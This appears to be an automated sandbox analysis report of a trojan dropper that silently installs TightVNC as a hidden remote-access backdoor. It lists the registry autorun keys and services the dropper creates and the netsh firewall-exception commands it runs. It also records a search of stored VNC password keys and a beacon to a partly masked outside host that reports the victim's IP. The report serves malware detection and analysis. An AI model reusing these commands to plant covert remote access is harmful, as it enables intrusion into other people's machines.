Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WinVNC' = '"%PROGRAM_FILES%\TightVNC\WinVNC.exe" -servicehelper'
- [<HKLM>\SOFTWARE\Classes\VncViewer.Config\shell\open\command] '' = '"%PROGRAM_FILES%\TightVNC\vncviewer.exe" -config "%1"'
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\DevService] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\winvnc] 'Start' = '00000002'
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\TightVNC\WinVNC.exe' = '%PROGRAM_FILES%\TightVNC\WinVNC.exe:*:Enabled:WinVNC'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\TightVNC\WinVNC.exe' = '%PROGRAM_FILES%\TightVNC\WinVNC.exe:*:Enabled:WinVNC'
Creates and executes the following:
- '%PROGRAM_FILES%\TightVNC\DevService.exe'
- '%PROGRAM_FILES%\TightVNC\WinVNC.exe' -silent -reinstall
- '%PROGRAM_FILES%\TightVNC\WinVNC.exe' -service
- '<Current directory>\tightvnc-1.3.10-setup.exe' /sp- /verysilent
- '%TEMP%\is-9QB2P.tmp\tightvnc-1.3.10-setup.tmp' /SL5="$300DE,1174377,53248,<Current directory>\tightvnc-1.3.10-setup.exe" /sp- /verysilent
- '<Current directory>\mexplor.exe' /url:http://se######ogin.homeftp.net/cgi-bin/wctrlog.cgi?ip########################################################### /quiet:10000
Executes the following:
- '<SYSTEM32>\net1.exe' start DevService
- '<SYSTEM32>\ping.exe' -4 -n 1 "CRNJEUFU"
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram program="%PROGRAM_FILES%"\TightVNC\WinVNC.exe name=WinVNC mode=ENABLE scope=ALL profile=ALL
- '<SYSTEM32>\sc.exe' config DevService start= auto
- '<SYSTEM32>\sc.exe' config winvnc start= auto
- '<SYSTEM32>\net1.exe' start winvnc
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WinVNC" dir=out program="%PROGRAM_FILES%"\TightVNC\WinVNC.exe action=allow
- '%WINDIR%\regedit.exe' /S properties.reg
- '%WINDIR%\explorer.exe' <Current directory>
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\vnc-silent-install-n-run-w-properties.bat" "
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WinVNC" dir=in program="%PROGRAM_FILES%"\TightVNC\WinVNC.exe action=allow
- '<SYSTEM32>\find.exe' /I "WinVNC.exe"
- '<SYSTEM32>\tasklist.exe'
Searches for registry branches where third party applications store passwords:
- [<HKCU>\Software\ORL\WinVNC3]
- [<HKLM>\SOFTWARE\ORL\WinVNC3]
Modifies file system :
Creates the following files:
- %PROGRAM_FILES%\TightVNC\Web\logo\is-VQLCJ.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-N5KA3.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-LH0IT.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-ODNVL.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-HP5FL.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-75JDU.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-ODU97.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-M94U2.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-6VER6.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-4QT95.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-D4SC3.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-4IAQM.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-53J4S.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-KTNVK.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-1OD00.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-UEEI5.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-394N9.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-TPBJK.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-00A6J.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-98OU8.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-886OB.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-0I4UD.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-C54NT.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-G21GS.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-KART9.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-82L7J.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\java\is-B3TS9.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Licensing Terms.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Make a Donation.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\TightVNC Web Site.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Show Default Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\About VNC and TightVNC.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Installation and Getting Started.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\What's New (Summary).lnk
- %PROGRAM_FILES%\TightVNC\DevserStop.bat
- %PROGRAM_FILES%\TightVNC\mexplor.exe
- %PROGRAM_FILES%\TightVNC\unins000.dat
- %PROGRAM_FILES%\TightVNC\shakhpel.exe
- %PROGRAM_FILES%\TightVNC\DevService.exe
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-NHT3T.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-43TV8.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\unix\is-HBFV4.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-P52U4.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-GPEIK.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-FRCH9.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Launch TightVNC Server.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Install VNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Remove VNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Run Service Helper.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Show User Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\TightVNC Viewer.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Uninstall TightVNC.lnk
- %PROGRAM_FILES%\TightVNC\Web\is-4M98S.tmp
- %PROGRAM_FILES%\TightVNC\is-Q5M00.tmp
- %PROGRAM_FILES%\TightVNC\is-RG20L.tmp
- %PROGRAM_FILES%\TightVNC\is-6BAF6.tmp
- %PROGRAM_FILES%\TightVNC\is-FSD2Q.tmp
- %PROGRAM_FILES%\TightVNC\is-05031.tmp
- %PROGRAM_FILES%\TightVNC\is-P0U0A.tmp
- %PROGRAM_FILES%\TightVNC\is-TBQG6.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-MJOTE.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-GCEVM.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-MAR54.tmp
- %PROGRAM_FILES%\TightVNC\is-M7FEC.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-1GO3G.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-70B4E.tmp
- <Current directory>\mexplor.exe
- <Current directory>\properties.reg
- <Current directory>\shakhpel.exe
- %TEMP%\1.tmp\vnc-silent-install-n-run-w-properties.bat
- <Current directory>\DevserStop.bat
- <Current directory>\DevService.exe
- <Current directory>\tightvnc-1.3.10-setup.exe
- %TEMP%\is-KLULQ.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-KLULQ.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-KLULQ.tmp\_isetup\_isdecmp.dll
- <Current directory>\vnc-silent-install-n-run-w-properties.bat
- <Current directory>\log.txt
- %TEMP%\is-9QB2P.tmp\tightvnc-1.3.10-setup.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-9JL3H.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-A4S7S.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-INOER.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-9B6NU.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-SGI5G.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-95HE8.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-944D4.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-03S4K.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-U54ED.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-0UR48.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-TOCAK.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-FRL08.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-24UNL.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-U4QET.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-KEQ16.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-9BH35.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-V6CA6.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-9VGBR.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-PI06N.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-ORT38.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-8A3VL.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-ASO02.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-B8OF8.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-0O0VD.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-7AG66.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-UK2F3.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-1QG4S.tmp
Deletes the following files:
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\TightVNC Viewer.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Uninstall TightVNC.lnk
- <Current directory>\DevserStop.bat
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\What's New (Summary).lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Launch TightVNC Server.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Show User Settings.lnk
- <Current directory>\DevService.exe
- <Current directory>\tightvnc-1.3.10-setup.exe
- <Current directory>\vnc-silent-install-n-run-w-properties.bat
- %TEMP%\1.tmp\vnc-silent-install-n-run-w-properties.bat
- <Current directory>\mexplor.exe
- <Current directory>\properties.reg
- <Current directory>\shakhpel.exe
- %TEMP%\is-9QB2P.tmp\tightvnc-1.3.10-setup.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Install VNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Remove VNC Service.lnk
- %TEMP%\is-KLULQ.tmp\_isetup\_isdecmp.dll
- %TEMP%\is-KLULQ.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-KLULQ.tmp\_isetup\_shfoldr.dll
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Run Service Helper.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Licensing Terms.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Make a Donation.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\TightVNC Web Site.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Show Default Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\About VNC and TightVNC.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Installation and Getting Started.lnk
Moves the following files:
- from %PROGRAM_FILES%\TightVNC\Web\images\is-G21GS.tmp to %PROGRAM_FILES%\TightVNC\Web\images\viewer-newconn.png
- from %PROGRAM_FILES%\TightVNC\Web\images\is-KART9.tmp to %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-connected.png
- from %PROGRAM_FILES%\TightVNC\Web\images\is-UEEI5.tmp to %PROGRAM_FILES%\TightVNC\Web\images\viewer-newconn-help1.png
- from %PROGRAM_FILES%\TightVNC\Web\images\is-98OU8.tmp to %PROGRAM_FILES%\TightVNC\Web\images\viewer-newconn-help2.png
- from %PROGRAM_FILES%\TightVNC\Web\images\is-82L7J.tmp to %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-disabled-hint.png
- from %PROGRAM_FILES%\TightVNC\Web\images\is-C54NT.tmp to %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-normal.png
- from %PROGRAM_FILES%\TightVNC\Web\images\is-ODNVL.tmp to %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-service-hint.png
- from %PROGRAM_FILES%\TightVNC\Web\images\is-886OB.tmp to %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-disabled.png
- from %PROGRAM_FILES%\TightVNC\Web\images\is-0I4UD.tmp to %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-ip.png
- from %PROGRAM_FILES%\TightVNC\Web\is-TOCAK.tmp to %PROGRAM_FILES%\TightVNC\Web\vncserver.1.html
- from %PROGRAM_FILES%\TightVNC\Web\is-4M98S.tmp to %PROGRAM_FILES%\TightVNC\Web\vncviewer.1.html
- from %PROGRAM_FILES%\TightVNC\Web\is-U54ED.tmp to %PROGRAM_FILES%\TightVNC\Web\vncconnect.1.html
- from %PROGRAM_FILES%\TightVNC\Web\is-0UR48.tmp to %PROGRAM_FILES%\TightVNC\Web\vncpasswd.1.html
- from %PROGRAM_FILES%\TightVNC\Web\is-394N9.tmp to %PROGRAM_FILES%\TightVNC\Web\whatsnew.html
- from %PROGRAM_FILES%\TightVNC\Web\is-KTNVK.tmp to %PROGRAM_FILES%\TightVNC\Web\winst_id.html
- from %PROGRAM_FILES%\TightVNC\Web\is-1OD00.tmp to %PROGRAM_FILES%\TightVNC\Web\Xvnc.1.html
- from %PROGRAM_FILES%\TightVNC\Web\is-TPBJK.tmp to %PROGRAM_FILES%\TightVNC\Web\WhatsNew.txt
- from %PROGRAM_FILES%\TightVNC\Web\is-00A6J.tmp to %PROGRAM_FILES%\TightVNC\Web\winst.html
- from %PROGRAM_FILES%\TightVNC\Web\images\is-HP5FL.tmp to %PROGRAM_FILES%\TightVNC\Web\images\winvnc-menu.png
- from %PROGRAM_FILES%\TightVNC\Web\doc\java\is-B3TS9.tmp to %PROGRAM_FILES%\TightVNC\Web\doc\java\README.txt
- from %PROGRAM_FILES%\TightVNC\Web\doc\man\is-P52U4.tmp to %PROGRAM_FILES%\TightVNC\Web\doc\man\vncconnect.man
- from %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-6VER6.tmp to %PROGRAM_FILES%\TightVNC\Web\doc\win32\BUILDING.txt
- from %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-4QT95.tmp to %PROGRAM_FILES%\TightVNC\Web\doc\win32\README.txt
- from %PROGRAM_FILES%\TightVNC\Web\doc\man\is-GPEIK.tmp to %PROGRAM_FILES%\TightVNC\Web\doc\man\vncpasswd.man
- from %PROGRAM_FILES%\TightVNC\Web\doc\man\is-43TV8.tmp to %PROGRAM_FILES%\TightVNC\Web\doc\man\Xvnc.man
- from %PROGRAM_FILES%\TightVNC\Web\doc\unix\is-HBFV4.tmp to %PROGRAM_FILES%\TightVNC\Web\doc\unix\README.txt
- from %PROGRAM_FILES%\TightVNC\Web\doc\man\is-FRCH9.tmp to %PROGRAM_FILES%\TightVNC\Web\doc\man\vncserver.man
- from %PROGRAM_FILES%\TightVNC\Web\doc\man\is-NHT3T.tmp to %PROGRAM_FILES%\TightVNC\Web\doc\man\vncviewer.man
- from %PROGRAM_FILES%\TightVNC\Web\logo\is-N5KA3.tmp to %PROGRAM_FILES%\TightVNC\Web\logo\manager_logo.gif
- from %PROGRAM_FILES%\TightVNC\Web\logo\is-LH0IT.tmp to %PROGRAM_FILES%\TightVNC\Web\logo\osxvnc.gif
- from %PROGRAM_FILES%\TightVNC\Web\images\is-75JDU.tmp to %PROGRAM_FILES%\TightVNC\Web\images\wiz-tasks.png
- from %PROGRAM_FILES%\TightVNC\Web\logo\is-VQLCJ.tmp to %PROGRAM_FILES%\TightVNC\Web\logo\kaboodle.gif
- from %PROGRAM_FILES%\TightVNC\Web\logo\is-ODU97.tmp to %PROGRAM_FILES%\TightVNC\Web\logo\projector.gif
- from %PROGRAM_FILES%\TightVNC\Web\logo\is-53J4S.tmp to %PROGRAM_FILES%\TightVNC\Web\logo\tux_klein.gif
- from %PROGRAM_FILES%\TightVNC\Web\logo\is-M94U2.tmp to %PROGRAM_FILES%\TightVNC\Web\logo\vncrobot.gif
- from %PROGRAM_FILES%\TightVNC\Web\logo\is-D4SC3.tmp to %PROGRAM_FILES%\TightVNC\Web\logo\projector20x20.gif
- from %PROGRAM_FILES%\TightVNC\Web\logo\is-4IAQM.tmp to %PROGRAM_FILES%\TightVNC\Web\logo\thumbnailviewer.gif
- from %PROGRAM_FILES%\TightVNC\Web\is-GCEVM.tmp to %PROGRAM_FILES%\TightVNC\Web\contribute.html
- from %PROGRAM_FILES%\TightVNC\Web\is-MAR54.tmp to %PROGRAM_FILES%\TightVNC\Web\docs.html
- from %PROGRAM_FILES%\TightVNC\Web\is-70B4E.tmp to %PROGRAM_FILES%\TightVNC\Web\bugs.html
- from %PROGRAM_FILES%\TightVNC\Web\is-MJOTE.tmp to %PROGRAM_FILES%\TightVNC\Web\contact.html
- from %PROGRAM_FILES%\TightVNC\Web\is-9JL3H.tmp to %PROGRAM_FILES%\TightVNC\Web\donate.html
- from %PROGRAM_FILES%\TightVNC\Web\is-ORT38.tmp to %PROGRAM_FILES%\TightVNC\Web\edev.jpg
- from %PROGRAM_FILES%\TightVNC\Web\is-KEQ16.tmp to %PROGRAM_FILES%\TightVNC\Web\emnt.jpg
- from %PROGRAM_FILES%\TightVNC\Web\is-9VGBR.tmp to %PROGRAM_FILES%\TightVNC\Web\donate.jpg
- from %PROGRAM_FILES%\TightVNC\Web\is-PI06N.tmp to %PROGRAM_FILES%\TightVNC\Web\download.html
- from %PROGRAM_FILES%\TightVNC\is-P0U0A.tmp to %PROGRAM_FILES%\TightVNC\VNCHooks.dll
- from %PROGRAM_FILES%\TightVNC\is-Q5M00.tmp to %PROGRAM_FILES%\TightVNC\vncviewer.exe
- from %PROGRAM_FILES%\TightVNC\is-FSD2Q.tmp to %PROGRAM_FILES%\TightVNC\unins000.exe
- from %PROGRAM_FILES%\TightVNC\is-05031.tmp to %PROGRAM_FILES%\TightVNC\WinVNC.exe
- from %PROGRAM_FILES%\TightVNC\is-RG20L.tmp to %PROGRAM_FILES%\TightVNC\README.txt
- from %PROGRAM_FILES%\TightVNC\is-M7FEC.tmp to %PROGRAM_FILES%\TightVNC\TightVNC-donate.url
- from %PROGRAM_FILES%\TightVNC\Web\is-1GO3G.tmp to %PROGRAM_FILES%\TightVNC\Web\brpixel.jpg
- from %PROGRAM_FILES%\TightVNC\is-6BAF6.tmp to %PROGRAM_FILES%\TightVNC\LICENCE.txt
- from %PROGRAM_FILES%\TightVNC\is-TBQG6.tmp to %PROGRAM_FILES%\TightVNC\TightVNC.url
- from %PROGRAM_FILES%\TightVNC\Web\is-9BH35.tmp to %PROGRAM_FILES%\TightVNC\Web\faq.html
- from %PROGRAM_FILES%\TightVNC\Web\is-A4S7S.tmp to %PROGRAM_FILES%\TightVNC\Web\roadmap.html
- from %PROGRAM_FILES%\TightVNC\Web\is-INOER.tmp to %PROGRAM_FILES%\TightVNC\Web\screenshots.html
- from %PROGRAM_FILES%\TightVNC\Web\is-95HE8.tmp to %PROGRAM_FILES%\TightVNC\Web\release-1.3.10.html
- from %PROGRAM_FILES%\TightVNC\Web\is-944D4.tmp to %PROGRAM_FILES%\TightVNC\Web\rfe.html
- from %PROGRAM_FILES%\TightVNC\Web\is-9B6NU.tmp to %PROGRAM_FILES%\TightVNC\Web\sitemap.html
- from %PROGRAM_FILES%\TightVNC\Web\is-24UNL.tmp to %PROGRAM_FILES%\TightVNC\Web\tightvnc-logo.jpg
- from %PROGRAM_FILES%\TightVNC\Web\is-U4QET.tmp to %PROGRAM_FILES%\TightVNC\Web\tightvnc.css
- from %PROGRAM_FILES%\TightVNC\Web\is-03S4K.tmp to %PROGRAM_FILES%\TightVNC\Web\support.html
- from %PROGRAM_FILES%\TightVNC\Web\is-FRL08.tmp to %PROGRAM_FILES%\TightVNC\Web\supporters-terms.html
- from %PROGRAM_FILES%\TightVNC\Web\is-7AG66.tmp to %PROGRAM_FILES%\TightVNC\Web\larrow.jpg
- from %PROGRAM_FILES%\TightVNC\Web\is-UK2F3.tmp to %PROGRAM_FILES%\TightVNC\Web\ldot.jpg
- from %PROGRAM_FILES%\TightVNC\Web\is-V6CA6.tmp to %PROGRAM_FILES%\TightVNC\Web\index.html
- from %PROGRAM_FILES%\TightVNC\Web\is-8A3VL.tmp to %PROGRAM_FILES%\TightVNC\Web\intro.html
- from %PROGRAM_FILES%\TightVNC\Web\is-1QG4S.tmp to %PROGRAM_FILES%\TightVNC\Web\lists.html
- from %PROGRAM_FILES%\TightVNC\Web\is-0O0VD.tmp to %PROGRAM_FILES%\TightVNC\Web\powered_kagi_150x30.gif
- from %PROGRAM_FILES%\TightVNC\Web\is-SGI5G.tmp to %PROGRAM_FILES%\TightVNC\Web\related.html
- from %PROGRAM_FILES%\TightVNC\Web\is-ASO02.tmp to %PROGRAM_FILES%\TightVNC\Web\md5sums.txt
- from %PROGRAM_FILES%\TightVNC\Web\is-B8OF8.tmp to %PROGRAM_FILES%\TightVNC\Web\othersites.html
Network activity:
Connects to:
- 'localhost':5900
- 'se######ogin.homeftp.net':80
- 'localhost':1039
TCP:
HTTP GET requests:
- se######ogin.homeftp.net/cgi-bin/wctrlog.cgi?ip####################################################
UDP:
- DNS ASK se######ogin.homeftp.net
Miscellaneous:
Searches for the following windows:
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
- ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: '' WindowName: '(null)'